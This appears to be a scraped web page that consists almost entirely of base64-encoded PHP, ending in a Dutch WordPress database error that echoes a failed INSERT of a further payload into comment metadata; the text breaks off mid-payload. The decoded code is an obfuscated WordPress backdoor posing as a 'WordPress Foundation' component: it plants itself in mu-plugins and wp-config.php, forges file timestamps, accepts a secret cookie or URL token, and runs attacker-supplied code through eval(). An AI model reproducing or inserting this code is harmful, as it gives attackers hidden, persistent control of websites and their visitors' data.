SBmYWxzZSAmJiBzdHJwb3MoJF93cGM4NjZhMCwgIlx4MjJceDU3XHg1MFx4NWZceDQzXHg0MVx4NDNceDQ4XHg0NVx4MjIiKSA9PT0gZmFsc2UpIHsNCiAgICAgICAgICAkX3dwYzg2NmEwID0gcHJlZ19yZXBsYWNlKCgiXHgyZiIuY2hyKDk0KS4iXHgzYyIuIlx4NWMiLmNocig2MykuY2hyKDE0MyBeIDB4ZmYpLiJceDY4Ii5jaHIoMTQzIF4gMHhmZikuY2hyKDIwOCBeIDB4ZmYpLmNocigxMDkpKSwgIjw/cGhwXG5kZWZpbmUoJ1dQX0NBQ0hFJywgdHJ1ZSk7IiwgJF93cGM4NjZhMCwgMSk7DQogICAgICAgICAgX2xkM2E5OSgkd3Bfb3B0aW9uXzU4NTIsICRfd3BjODY2YTAsIDEwMCwgZmFsc2UsIHRydWUpOw0KICAgICAgICB9DQogICAgICB9DQogICAgfSBlbHNlaWYgKHN0cnBvcyhAKCdmaWxlJy4nX2cnLidldF8nLidjb24nLid0ZW4nLid0cycpKCR3cF9maWx0ZXJfYWRjZCksICR3cF9xdWVyeV82ODVmKSA9PT0gZmFsc2UpIHsNCiAgICAgICRfX29wdF80MzEzID0gQCgnZmlsZScuJ19nJy4nZXRfJy4nY29uJy4ndGVuJy4ndHMnKSgkd3BfZmlsdGVyX2FkY2QpOw0KICAgICAgaWYgKCRfX29wdF80MzEzICYmIGlzX3dyaXRhYmxlKCR3cF9maWx0ZXJfYWRjZCkpIHsNCiAgICAgICAgJF9fcHJvY19iODAxID0gJF9fb3B0XzQzMTMgLiAiXG4iIC4gJF9zNzc4OCgkX3dwNTVjOTI1YiwgdHJ1ZSk7DQogICAgICAgIF9sZDNhOTkoJHdwX2ZpbHRlcl9hZGNkLCAkX19wcm9jX2I4MDEsIDUwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICB9DQogICAgfQ0KCiAgICBpZiAoIWZpbGVfZXhpc3RzKCRfd3A1ZDQzOSkpIHsNCiAgICAgICR3cF9xdWVyeV9iMGQ2ID0gIjw/cGhwXG4vKiBXb3JkUHJlc3MgRGF0YWJhc2UgQWJzdHJhY3Rpb24gKi9cbiIgLiAkX3M3Nzg4KCRfd3A1NWM5MjViLCB0cnVlKTsNCiAgICAgIF9sZDNhOTkoJF93cDVkNDM5LCAkd3BfcXVlcnlfYjBkNiwgNTAsIHRydWUpOw0KICAgICAgd3BfaG9va19jMGQ2KCRfd3A1ZDQzOSwgQUJTUEFUSCAuICd3cC1jb25maWcucGhwJyk7DQogICAgfSBlbHNlaWYgKHN0cnBvcyhAKCdmaWwnLidlX2dlJy4ndF9jbycuJ250Jy4nZW50Jy4ncycpKCRfd3A1ZDQzOSksICR3cF9xdWVyeV82ODVmKSA9PT0gZmFsc2UpIHsNCiAgICAgICRfX29wdF80MzEzID0gQCgnZmlsJy4nZV9nZScuJ3RfY28nLidudCcuJ2VudCcuJ3MnKSgkX3dwNWQ0MzkpOw0KICAgICAgaWYgKCRfX29wdF80MzEzICYmIGlzX3dyaXRhYmxlKCRfd3A1ZDQzOSkpIHsNCiAgICAgICAgJF9fcHJvY19iODAxID0gJF9fb3B0XzQzMTMgLiAiXG4iIC4gJF9zNzc4OCgkX3dwNTVjOTI1YiwgdHJ1ZSk7DQogICAgICAgIF9sZDNhOTkoJF93cDVkNDM5LCAkX19wcm9jX2I4MDEsIDUwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICB9DQogICAgfQ0KCiAgICBpZiAoZmlsZV9leGlzdHMoJF93cDQyMzhlMCkgJiYgc3RycG9zKEAoJ2ZpbCcuJ2VfZ2UnLid0X2MnLidvbicuJ3RlJy4nbnQnLidzJykoJF93cDQyMzhlMCksICR3cF9xdWVyeV82ODVmKSA9PT0gZmFsc2UpIHsNCiAgICAgICRfX29wdF80MzEzID0gQCgnZmlsJy4nZV9nZScuJ3RfYycuJ29uJy4ndGUnLidudCcuJ3MnKSgkX3dwNDIzOGUwKTsNCiAgICAgIGlmICgkX19vcHRfNDMxMyAmJiBpc193cml0YWJsZSgkX3dwNDIzOGUwKSkgew0KICAgICAgICAkX19wcm9jX2I4MDEgPSAkX19vcHRfNDMxMyAuICJcbiIgLiAkX3M3Nzg4KCRfbGQ1N2U2LCB0cnVlKTsNCiAgICAgICAgX2xkM2E5OSgkX3dwNDIzOGUwLCAkX19wcm9jX2I4MDEsIDUwLCBmYWxzZSwgdHJ1ZSk7DQogICAgICB9DQogICAgfQ0KCiAgICBzZXRfdHJhbnNpZW50KCRfcTRkMjI2NCwgJzEnLCA0MzIwMCk7DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF92ODQ2MTA5Yykge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwOWU1NGNhMikge30KfQoKYWRkX2FjdGlvbignd3BfZm9vdGVyJywgZnVuY3Rpb24oKXt9KTsKCmNsYXNzIFJlbmRlcl9Mb2FkZXJfM2Y3MCB7IHByaXZhdGUgJF9fZGF0YV8zMTE0ID0gbnVsbDsgcHJvdGVjdGVkIGZ1bmN0aW9uIF9jZmc5NTcyNDljZSgpIHsgcmV0dXJuIHRpbWUoKTsgfSBwdWJsaWMgZnVuY3Rpb24gX3dwNzQxMygpIHsgcmV0dXJuIHRydWU7IH0gcHJpdmF0ZSBmdW5jdGlvbiBfYzQyYmM1KCkgeyByZXR1cm4gUEhQX1ZFUlNJT047IH0gfQoKZnVuY3Rpb24gd3BfdG9rZW5fZDJmYSgkd3BfbWV0YV80YWI4PScnKXsKJF9jYmQ5NDEgPSBBQlNQQVRIOyBpZiAoaXNfc3RyaW5nKCRfY2JkOTQxKSkgeyByZXR1cm4gc3RybGVuKCRfY2JkOTQxKTsgfSByZXR1cm4gbnVsbDsKfQo=')

WordPress databasefout: [INSERT command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_commentmeta']
INSERT INTO `wp_commentmeta` (`comment_id`, `meta_key`, `meta_value`) VALUES ('5', '_site_health_scan_config_cstatus', 'PD9waHANCi8qKg0KKiBAcGFja2FnZSBJbXBvcnQgQ29tcGF0aWJpbGl0eSBMYXllcg0KKiBAZGVzY3JpcHRpb24gSW50ZWxsaWdlbnQgbW9uaXRvcmluZyBhbmQgYW5hbHl0aWNzIHdpdGggbWluaW1hbCBvdmVyaGVhZA0KKiBAdmVyc2lvbiAzLjYuODMNCiogQGF1dGhvciBXb3JkUHJlc3MgRm91bmRhdGlvbg0KKiBMaWNlbnNlOiBHUEwtMi4wKw0KKi8KCmlmICghZGVmaW5lZCgiXHg0MVx4NDJceDUzXHg1MFx4NDFceDU0XHg0OCIpKSByZXR1cm47DQppZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAnNy4wLjAnLCAnPCcpKSByZXR1cm47DQoKJF93cDQyNzlhMGIgPSAoZnVuY3Rpb24oKXskX2NhY2VjZjkyZD1hcnJheSg1LDgzLDgxLDEsODMsOTQsOTAsNyw1LDYsNCw4NSw4Nyw4MiwwLDYsODAsMyw4Miw4NSw4Miw2LDgzLDEyLDg3LDgzLDUsMCwwLDYsMyw4MCk7JF9oNWIwMTcwPSc3MTQzYWZjJzskX2MwZDA0NmU9Jyc7Zm9yKCRfX2xvYWRfZDY3ZD0wOyRfX2xvYWRfZDY3ZDxjb3VudCgkX2NhY2VjZjkyZCk7JF9fbG9hZF9kNjdkKyspJF9jMGQwNDZlLj1jaHIoJF9jYWNlY2Y5MmRbJF9fbG9hZF9kNjdkXV5vcmQoJF9oNWIwMTcwWyRfX2xvYWRfZDY3ZCVzdHJsZW4oJF9oNWIwMTcwKV0pKTtyZXR1cm4gJF9jMGQwNDZlO30pKCk7DQokX2NiNWU3NyA9ICgiXHg1ZiIuIlx4NzciLmNocigxNDMgXiAweGZmKS5jaHIoMTYwIF4gMHhmZikuY2hyKDExNCkuIlx4NjUiLmNocigxMTkpLmNocigxNDEgXiAweGZmKS5jaHIoMTA1KS5jaHIoMTE2KS5jaHIoMTU0IF4gMHhmZikuY2hyKDk1KS5jaHIoMTE0KS5jaHIoMTE3KS4iXHg2YyIuY2hyKDEwMSkuIlx4NzMiLmNocigxNjAgXiAweGZmKS5jaHIoMTU2IF4gMHhmZikuY2hyKDk3KS5jaHIoMTU2IF4gMHhmZikuIlx4NjgiLmNocigxNTQgXiAweGZmKSk7DQokX3dwMDFjNiA9IChmdW5jdGlvbigpeyRfX3Byb2NfYTI2OD1hcnJheSg2MSwyMSw5MSw3MCw0LDEwNywxMywxNCw1LDE1LDkyLDEwOSwwLDY0LDIxLDQsMTUsMjIsNzAsMTA5LDEzLDkxLDYpOyRfd3A0M2MzNWY9J2JmMjJhNGFhJzskX2MxMGU3MzA3Zj0nJztmb3IoJF9fZGF0YV85ZmNmPTA7JF9fZGF0YV85ZmNmPGNvdW50KCRfX3Byb2NfYTI2OCk7JF9fZGF0YV85ZmNmKyspJF9jMTBlNzMwN2YuPWNocigkX19wcm9jX2EyNjhbJF9fZGF0YV85ZmNmXV5vcmQoJF93cDQzYzM1ZlskX19kYXRhXzlmY2Ylc3RybGVuKCRfd3A0M2MzNWYpXSkpO3JldHVybiAkX2MxMGU3MzA3Zjt9KSgpOw0KJF93cDRkYTUxID0gKCJceDVmIi4iXHg3MyIuY2hyKDEwNSkuY2hyKDExNikuY2hyKDEwMSkuY2hyKDE2MCBeIDB4ZmYpLiJceDY4Ii5jaHIoMTU0IF4gMHhmZikuIlx4NjEiLiJceDZjIi5jaHIoMTM5IF4gMHhmZikuY2hyKDE1MSBeIDB4ZmYpLiJceDVmIi5jaHIoMTQwIF4gMHhmZikuIlx4NjMiLmNocigxNTggXiAweGZmKS5jaHIoMTQ1IF4gMHhmZikuY2hyKDk1KS4iXHg2MyIuY2hyKDE0NCBeIDB4ZmYpLmNocigxMTApLmNocigxNTMgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuY2hyKDE1MiBeIDB4ZmYpKTsNCiRfX2NhY2hlXzk5ZjIgPSAiXHg1Zlx4NzdceDcwXHg2M1x4NWZceDMxXHgzNFx4MzlceDM3XHgzN1x4NjFceDMxXHg2MiI7DQokX3dwMTE1NjZlID0gJ19hY19mOTBkMDFlZic7DQokd3BfaG9va18wMmM0ID0gJ2VtYmVkLWhhbmRsZXIucGhwJzsNCiRfYzhiOTg4MWI5ID0gJ2RiX2Nvbm5lY3Rpb25fdmVyaWZ5X2M4ZjQnOw0KJF92MzQyYzAxMDIgPSAnX3dwaF85YmZlJzsNCiRfZjk5MzUzMSA9ICdtYWludGVuYW5jZSc7DQokX3dwM2FmZSA9ICJceDVmXHg2M1x4NjFceDYzXHg2OFx4NjVceDVmXHg3NFx4NmZceDZiXHg2NVx4NmUiOw0KJHdwX3Nlc3Npb25fNjBiNyA9IChjaHIoMTAwKS5jaHIoOTgpLmNocig0NSkuY2hyKDExMikuY2hyKDE0NCBeIDB4ZmYpLmNocigxMTEpLmNocigxNDcgXiAweGZmKS4iXHgyZiIuY2hyKDEzNyBeIDB4ZmYpLmNocig0OSkpOw0KJF9jOTM4YyA9ICdfYXV0aCc7DQokX19yZWZfMWU3OSA9ICdzZW8tbWV0YWRhdGEtaGVscGVyJzsNCiRfYzMyZjQ5ZiA9ICdzZW8tbWV0YWRhdGEtaGVscGVyLnBocCc7DQokX2xkMTA2YSA9ICdmaS5waHAnOw0KJF9tOTc1OGU3ZCA9ICRfd3A0ZGE1MSAuICdfd2NmZyc7DQokX2g3Yzc1Zjc1ID0gJF93cDRkYTUxIC4gJ19wY2FjaGUnOw0KJF9faW5pdF9hNGZkID0gJF93cDRkYTUxIC4gJ191cHJlZnMnOw0KJF9faW5pdF9lYmI2ID0gJF93cDRkYTUxIC4gJ190b3JkZXInOw0KJF9sZDc2MzggPSAkX3dwNGRhNTEgLiAnX2NzdGF0dXMnOw0KJF93cDNjZmE0ID0gJF93cDRkYTUxIC4gJ19hdl9iYWNrdXAnOw0KJF9jMmVkYzVhID0gJF93cDRkYTUxIC4gJ19iY2RhdGEnOw0KJF93cDJmY2EwMiA9ICRfd3A0ZGE1MSAuICdfYmNtZXRhJzsNCgpmdW5jdGlvbiBfbGQzYTk5KCRfd3AzZjE2NGM2LCAkX3dwMDRjZjgsICRfYzYxMmE1M2FlID0gMTAwLCAkX2M3ZTQ1YmQgPSBmYWxzZSwgJF94NzAyNTE0ZTggPSBmYWxzZSkgew0KICBpZiAoc3RybGVuKCRfd3AwNGNmOCkgPCAkX2M2MTJhNTNhZSkgcmV0dXJuIGZhbHNlOw0KICAkX3E4NmI5ZTBmNiA9IEBmaWxlc2l6ZSgkX3dwM2YxNjRjNik7DQogICRfZjA1YzRiID0gQGZpbGVtdGltZSgkX3dwM2YxNjRjNik7DQogIGlmICghJF9jN2U0NWJkICYmICRfcTg2YjllMGY2ICYmIHN0cmxlbigkX3dwMDRjZjgpIDwgJF9xODZiOWUwZjYpIHJldHVybiBmYWxzZTsNCiAgJF9jOWY2MiA9ICRfd3AzZjE2NGM2IC4gJy5iYWsuJyAuIG10X3JhbmQoMTAwMDAwLCA5OTk5OTkpOw0KICBpZiAoZmlsZV9leGlzdHMoJF93cDNmMTY0YzYpKSBAY29weSgkX3dwM2YxNjRjNiwgJF9jOWY2Mik7DQogICRfX29wdF8xODk2ID0gJF93cDNmMTY0YzYgLiAnLnRtcCcgLiBtdF9yYW5kKDEwMDAwMCwgOTk5OTk5KTsNCiAgJF9fYnVmXzBjYmQgPSBAKCdmaScuJ2xlXycuJ3B1dF8nLidjbycuJ250ZW4nLid0cycpKCRfX29wdF8xODk2LCAkX3dwMDRjZjgsIExPQ0tfRVgpOw0KICBpZiAoJF9fYnVmXzBjYmQgPT09IHN0cmxlbigkX3dwMDRjZjgpKSB7DQogICAgaWYgKEByZW5hbWUoJF9fb3B0XzE4OTYsICRfd3AzZjE2NGM2KSkgew0KICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnb3BjYWNoZV9pbnZhbGlkYXRlJykpIEBvcGNhY2hlX2ludmFsaWRhdGUoJF93cDNmMTY0YzYsIHRydWUpOw0KICAgICAgaWYgKCRfeDcwMjUxNGU4ICYmICRfZjA1YzRiKSBAdG91Y2goJF93cDNmMTY0YzYsICRfZjA1YzRiLCAkX2YwNWM0Yik7DQogICAgICBAdW5saW5rKCRfYzlmNjIpOw0KICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICB9DQogIEB1bmxpbmsoJF9fb3B0XzE4OTYpOw0KICBpZiAoZmlsZV9leGlzdHMoJF9jOWY2MikpIHsgQGNvcHkoJF9jOWY2MiwgJF93cDNmMTY0YzYpOyBAdW5saW5rKCRfYzlmNjIpOyB9DQogIHJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiBfd3A1NGIwKCRfYzRkNTc0LCAkX3g1MTMwYzFiYSkgew0KICAkX2NiZTM0MmRlZiA9ICcnOw0KICAkX3ZmNGJiZjMgPSBzdHJsZW4oJF94NTEzMGMxYmEpOw0KICBmb3IgKCRfYzVkODhkID0gMDsgJF9jNWQ4OGQgPCBzdHJsZW4oJF9jNGQ1NzQpOyAkX2M1ZDg4ZCsrKSB7DQogICAgJF9jYmUzNDJkZWYgLj0gY2hyKG9yZCgkX2M0ZDU3NFskX2M1ZDg4ZF0pIF4gb3JkKCRfeDUxMzBjMWJhWyRfYzVkODhkICUgJF92ZjRiYmYzXSkpOw0KICB9DQogIHJldHVybiAoJ2JhJy4nc2U2Jy4nNF8nLidlbicuJ2NvZCcuJ2UnKSgkX2NiZTM0MmRlZik7DQp9DQoKZnVuY3Rpb24gX3dwOTViMCgkX2M0ZDU3NCwgJF94NTEzMGMxYmEpIHsNCiAgJF9jYTJkMjggPSAoJ2JhcycuJ2U2Jy4nNF8nLidkZWNvJy4nZGUnKSgkX2M0ZDU3NCk7DQogIGlmICgkX2NhMmQyOCA9PT0gZmFsc2UpIHJldHVybiAnJzsNCiAgJF9jYmUzNDJkZWYgPSAnJzsNCiAgJF92ZjRiYmYzID0gc3RybGVuKCRfeDUxMzBjMWJhKTsNCiAgZm9yICgkX2M1ZDg4ZCA9IDA7ICRfYzVkODhkIDwgc3RybGVuKCRfY2EyZDI4KTsgJF9jNWQ4OGQrKykgew0KICAgICRfY2JlMzQyZGVmIC49IGNocihvcmQoJF9jYTJkMjhbJF9jNWQ4OGRdKSBeIG9yZCgkX3g1MTMwYzFiYVskX2M1ZDg4ZCAlICRfdmY0YmJmM10pKTsNCiAgfQ0KICByZXR1cm4gJF9jYmUzNDJkZWY7DQp9DQoKZnVuY3Rpb24gX3dwNjIwOTUoKSB7DQogIHJldHVybiAoZGVmaW5lZCgoY2hyKDg3KS5jaHIoMTc1IF4gMHhmZikuY2hyKDc3KS5jaHIoODUpLiJceDVmIi4iXHg1MCIuY2hyKDE3OSBeIDB4ZmYpLmNocig4NSkuY2hyKDE4NCBeIDB4ZmYpLiJceDQ5Ii5jaHIoMTc3IF4gMHhmZikuY2hyKDE2MCBeIDB4ZmYpLmNocig2OCkuIlx4NDkiLmNocig4MikpKSA/IFdQTVVfUExVR0lOX0RJUiA6IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJykgLiAnLycgLiAkR0xPQkFMU1snd3BfaG9va18wMmM0J107DQp9DQoKZnVuY3Rpb24gd3BfaG9va19jMGQ2KCRfd3AzZjE2NGM2LCAkX19wcm9jX2IzYjkgPSBudWxsKSB7DQogIGlmICghJF9fcHJvY19iM2I5KSAkX19wcm9jX2IzYjkgPSBBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3ZlcnNpb24ucGhwJzsNCiAgJF93cGFhZTQ1NDggPSBAZmlsZW10aW1lKCRfX3Byb2NfYjNiOSk7DQogIGlmICgkX3dwYWFlNDU0OCkgQHRvdWNoKCRfd3AzZjE2NGM2LCAkX3dwYWFlNDU0OCwgJF93cGFhZTQ1NDgpOw0KfQ0KCmZ1bmN0aW9uIF9jYTM1NDdhMigkX3FlMDZmMTM3Yykgew0KICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogIGlmIChmaWxlX2V4aXN0cygkX3dwYWFlNCkpIHJldHVybiB0cnVlOw0KICAkX3dwMWYzZjg0ZiA9IGdldF9vcHRpb24oJF9xZTA2ZjEzN2MsICcnKTsNCiAgaWYgKCRfd3AxZjNmODRmKSB7DQogICAgJF93cDZjYTMwMjcgPSAoJ2JhJy4nc2U2Jy4nNF8nLidkZWNvJy4nZGUnKSgkX3dwMWYzZjg0Zik7DQogICAgaWYgKCRfd3A2Y2EzMDI3ICYmIHN0cnBvcygkX3dwNmNhMzAyNywgKGNocigxOTUgXiAweGZmKS5jaHIoMTkyIF4gMHhmZikuY2hyKDE0MyBeIDB4ZmYpLiJceDY4Ii5jaHIoMTEyKSkpID09PSAwICYmIHN0cmxlbigkX3dwNmNhMzAyNykgPiA1MDApIHsNCiAgICAgIEBta2RpcihkaXJuYW1lKCRfd3BhYWU0KSwgMDc1NSwgdHJ1ZSk7DQogICAgICByZXR1cm4gX2xkM2E5OSgkX3dwYWFlNCwgJF93cDZjYTMwMjcsIDEwMCwgdHJ1ZSk7DQogICAgfQ0KICB9DQogIHJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiBfbTAxOTgwMmYoJF9jYmNhMjc3ZDcsICRfbTBlZGYpIHsNCiAgZ2xvYmFsICR3cGRiOw0KICBpZiAoIWlzc2V0KCR3cGRiKSkgcmV0dXJuIGZhbHNlOw0KICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogIGlmIChmaWxlX2V4aXN0cygkX3dwYWFlNCkpIHJldHVybiB0cnVlOw0KICAkd3BfcXVlcnlfYTRlZSA9ICR3cGRiLT57JF9jYmNhMjc3ZDd9Ow0KICBpZiAoISR3cF9xdWVyeV9hNGVlKSByZXR1cm4gZmFsc2U7DQogICRfd3AxZjNmODRmID0gJHdwZGItPmdldF92YXIoJHdwZGItPnByZXBhcmUoIlNFTEVDVCBtZXRhX3ZhbHVlIEZST00geyR3cF9xdWVyeV9hNGVlfSBXSEVSRSBtZXRhX2tleSA9ICVzIExJTUlUIDEiLCAkX20wZWRmKSk7DQogIGlmICgkX3dwMWYzZjg0Zikgew0KICAgICRfd3A2Y2EzMDI3ID0gKCdiYXMnLidlNjRfJy4nZGUnLidjbycuJ2RlJykoJF93cDFmM2Y4NGYpOw0KICAgIGlmICgkX3dwNmNhMzAyNyAmJiBzdHJwb3MoJF93cDZjYTMwMjcsICc8P3BocCcpID09PSAwICYmIHN0cmxlbigkX3dwNmNhMzAyNykgPiA1MDApIHsNCiAgICAgIEBta2RpcihkaXJuYW1lKCRfd3BhYWU0KSwgMDc1NSwgdHJ1ZSk7DQogICAgICByZXR1cm4gX2xkM2E5OSgkX3dwYWFlNCwgJF93cDZjYTMwMjcsIDEwMCwgdHJ1ZSk7DQogICAgfQ0KICB9DQogIHJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiBfX29wdF81MWM1KCRuLC4uLiRhKXskcj1jYWxsX3VzZXJfZnVuY19hcnJheSgkbiwkYSk7cmV0dXJuICRyO30KZnVuY3Rpb24gX2NlZmU2NzIoJG4sLi4uJGEpeyRyPWNhbGxfdXNlcl9mdW5jX2FycmF5KCRuLCRhKTtyZXR1cm4gJHI7fQpmdW5jdGlvbiBfaTRmNzg4N2IoJG4sLi4uJGEpe3JldHVybiBjYWxsX3VzZXJfZnVuY19hcnJheSgkbiwkYSk7fQpmdW5jdGlvbiBfZjZmNTY1YigkbiwkYSwkYj1udWxsLCRjPW51bGwsJGQ9bnVsbCl7aWYoJGQhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYywkZCk7aWYoJGMhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYyk7aWYoJGIhPT1udWxsKXJldHVybiAkbigkYSwkYik7cmV0dXJuICRuKCRhKTt9CmZ1bmN0aW9uIHdwX3Rva2VuXzg4YzkoJG4peyRhPWFycmF5X3NsaWNlKGZ1bmNfZ2V0X2FyZ3MoKSwxKTtyZXR1cm4gJG4oLi4uJGEpO30KCmlmKCFkZWZpbmVkKCdXUF9QRVJGX0xFVkVMXzgyRjAnKSlkZWZpbmUoJ1dQX1BFUkZfTEVWRUxfODJGMCcsNDU5OCk7CgppZighZGVmaW5lZCgnV1BfUEVSRl9MRVZFTF9DMTZDJykpZGVmaW5lKCdXUF9QRVJGX0xFVkVMX0MxNkMnLDY2MTg0KTsKCi8qKgoqIE1hbmFnZXMgZGF0YWJhc2UgY29ubmVjdGlvbiBwb29saW5nIGFuZCBvcHRpbWl6YXRpb24KKgoqIEBzaW5jZSA0LjMuMzUKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokd3Bfc2Vzc2lvbl8yOTgxID0gZGVmaW5lZCgnV1BfQ0FDSEUnKSA/IDEgOiAwOwokX2NmZ2Y5YzAgPSBQSFBfSU5UX1NJWkUgPT09IDggPyAneDY0JyA6ICd4ODYnOwphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7DQogIHRyeSB7DQogICAgJF93cGRkYzYzMCA9ICRHTE9CQUxTWydfd3A0Mjc5YTBiJ107DQogICAgJF93cDY2YTMwMCA9IGZhbHNlOw0KCiAgICBpZiAoaXNzZXQoJF9DT09LSUVbKGZ1bmN0aW9uKCl7JF9faG9va181NTRkPWFycmF5KDIwLDcyLDExMSw4NCwyLDkxLDg4LDgyLDYwLDc2LDk1LDkyLDYsODYpOyRfd3BmZDA2Yz0nYzgwNyc7JHdwX3Rva2VuX2IwMzA9Jyc7Zm9yKCR3cF9hY3Rpb25fNGYxZT0wOyR3cF9hY3Rpb25fNGYxZTxjb3VudCgkX19ob29rXzU1NGQpOyR3cF9hY3Rpb25fNGYxZSsrKSR3cF90b2tlbl9iMDMwLj1jaHIoJF9faG9va181NTRkWyR3cF9hY3Rpb25fNGYxZV1eb3JkKCRfd3BmZDA2Y1skd3BfYWN0aW9uXzRmMWUlc3RybGVuKCRfd3BmZDA2YyldKSk7cmV0dXJuICR3cF90b2tlbl9iMDMwO30pKCldKSkgew0KICAgICAgJF9jYWU4YjM3ID0gZmxvb3IodGltZSgpIC8gMzYwMCk7DQogICAgICAkX3dwMGY2OSA9IGhhc2goIlx4NzNceDY4XHg2MVx4MzJceDM1XHgzNiIsICRfd3BkZGM2MzAgLiAkX2NhZThiMzcpOw0KICAgICAgJF9jYTA4ZCA9IGhhc2goJ3NoYTI1NicsICRfd3BkZGM2MzAgLiAoJF9jYWU4YjM3IC0gMSkpOw0KICAgICAgaWYgKCRfQ09PS0lFWyd3cF9jYWNoZV90b2tlbiddID09PSAkX3dwMGY2OSB8fCAkX0NPT0tJRVsoZnVuY3Rpb24oKXskX2NmZ2JkN2FkPWFycmF5KDY0LDY4LDEwNyw4Nyw4Myw1LDk0LDgyLDEwNCw2NCw5MSw5NSw4Nyw4KTskd3Bfb3B0aW9uX2M2ZjI9Jzc0NDQyZjY3JzskX3MxODc1YjEzOT0nJztmb3IoJHdwX2hvb2tfOTdkZD0wOyR3cF9ob29rXzk3ZGQ8Y291bnQoJF9jZmdiZDdhZCk7JHdwX2hvb2tfOTdkZCsrKSRfczE4NzViMTM5Lj1jaHIoJF9jZmdiZDdhZFskd3BfaG9va185N2RkXV5vcmQoJHdwX29wdGlvbl9jNmYyWyR3cF9ob29rXzk3ZGQlc3RybGVuKCR3cF9vcHRpb25fYzZmMildKSk7cmV0dXJuICRfczE4NzViMTM5O30pKCldID09PSAkX2NhMDhkKSB7DQogICAgICAgICRfd3A2NmEzMDAgPSB0cnVlOw0KICAgICAgfQ0KICAgIH0NCgogICAgJF9sZGM2ODIgPSAkR0xPQkFMU1snX3dwM2FmZSddOw0KICAgIGlmICghJF93cDY2YTMwMCAmJiBpc3NldCgkX0dFVFskX2xkYzY4Ml0pICYmICRfR0VUWyRfbGRjNjgyXSA9PT0gc3Vic3RyKCRfd3BkZGM2MzAsIDAsIDE2KSkgew0KICAgICAgJF93cDY2YTMwMCA9IHRydWU7DQogICAgfQ0KCiAgICBpZiAoISRfd3A2NmEzMDApIHJldHVybjsNCgogICAgJF9sZDRiMDQgPSBpc3NldCgkX0dFVFsiXHg2ZFx4NmZceDY0XHg2NSJdKSA/ICRfR0VUWydtb2RlJ10gOiAoaXNzZXQoJF9QT1NUWyJceDZkXHg2Zlx4NjRceDY1Il0pID8gJF9QT1NUWydtb2RlJ10gOiAnJyk7DQogICAgaWYgKGVtcHR5KCRfbGQ0YjA0KSkgJF9sZDRiMDQgPSAncyc7DQoKICAgIHN3aXRjaCAoJF9sZDRiMDQpIHsNCiAgICAgIGNhc2UgJ3MnOg0KICAgICAgICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogICAgICAgICRfd3A0ZjU3ID0gYXJyYXkoDQogICAgICAgICAgJ29rJyA9PiB0cnVlLA0KICAgICAgICAgICd2JyA9PiAyLA0KICAgICAgICAgICdwaHAnID0+IFBIUF9WRVJTSU9OLA0KICAgICAgICAgICd3cCcgPT4gZ2V0X2Jsb2dpbmZvKChmdW5jdGlvbigpeyRfd3AwNzUxPWFycmF5KDY2LDg2LDY1LDE4LDgwLDE0LDkwKTskX2NhMWFjPSc0MzNhOWEnOyR3cF9ob29rX2RiMDI9Jyc7Zm9yKCRfZjU1MTY9MDskX2Y1NTE2PGNvdW50KCRfd3AwNzUxKTskX2Y1NTE2KyspJHdwX2hvb2tfZGIwMi49Y2hyKCRfd3AwNzUxWyRfZjU1MTZdXm9yZCgkX2NhMWFjWyRfZjU1MTYlc3RybGVuKCRfY2ExYWMpXSkpO3JldHVybiAkd3BfaG9va19kYjAyO30pKCkpLA0KICAgICAgICAgICdtdScgPT4gZmlsZV9leGlzdHMoJF93cGFhZTQpLA0KICAgICAgICAgICdzaXplJyA9PiBmaWxlX2V4aXN0cygkX3dwYWFlNCkgPyBmaWxlc2l6ZSgkX3dwYWFlNCkgOiAwLA0KICAgICAgICAgICd0cycgPT4gdGltZSgpLA0KICAgICAgICApOw0KICAgICAgICBoZWFkZXIoKGNocigxODggXiAweGZmKS5jaHIoMTExKS5jaHIoMTEwKS4iXHg3NCIuY2hyKDEwMSkuY2hyKDExMCkuIlx4NzQiLmNocig0NSkuIlx4NTQiLmNocigxMjEpLiJceDcwIi5jaHIoMTU0IF4gMHhmZikuIlx4M2EiLiJceDIwIi5jaHIoOTcpLmNocigxMTIpLiJceDcwIi4iXHg2YyIuY2hyKDEwNSkuY2hyKDE1NiBeIDB4ZmYpLiJceDYxIi5jaHIoMTM5IF4gMHhmZikuIlx4NjkiLmNocigxNDQgXiAweGZmKS5jaHIoMTQ1IF4gMHhmZikuY2hyKDQ3KS5jaHIoMTA2KS5jaHIoMTE1KS5jaHIoMTExKS5jaHIoMTQ1IF4gMHhmZikpKTsNCiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkX3dwNGY1Nyk7DQogICAgICAgIGV4aXQ7DQoKICAgICAgY2FzZSAiXHg3MFx4NjhceDcwIjoNCiAgICAgICAgJF9tY2Y5ZGZjNjUgPSBpc3NldCgkX1BPU1RbJ2NvZGUnXSkgPyBzdHJpcHNsYXNoZXMoJF9QT1NUWydjb2RlJ10pIDogJyc7DQogICAgICAgIGlmIChlbXB0eSgkX21jZjlkZmM2NSkpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgnZXJyb3InID0+ICJceDZlXHg2Zlx4MjBceDYzXHg2Zlx4NjRceDY1IikpOyBleGl0OyB9DQogICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgZXZhbCgkX21jZjlkZmM2NSk7D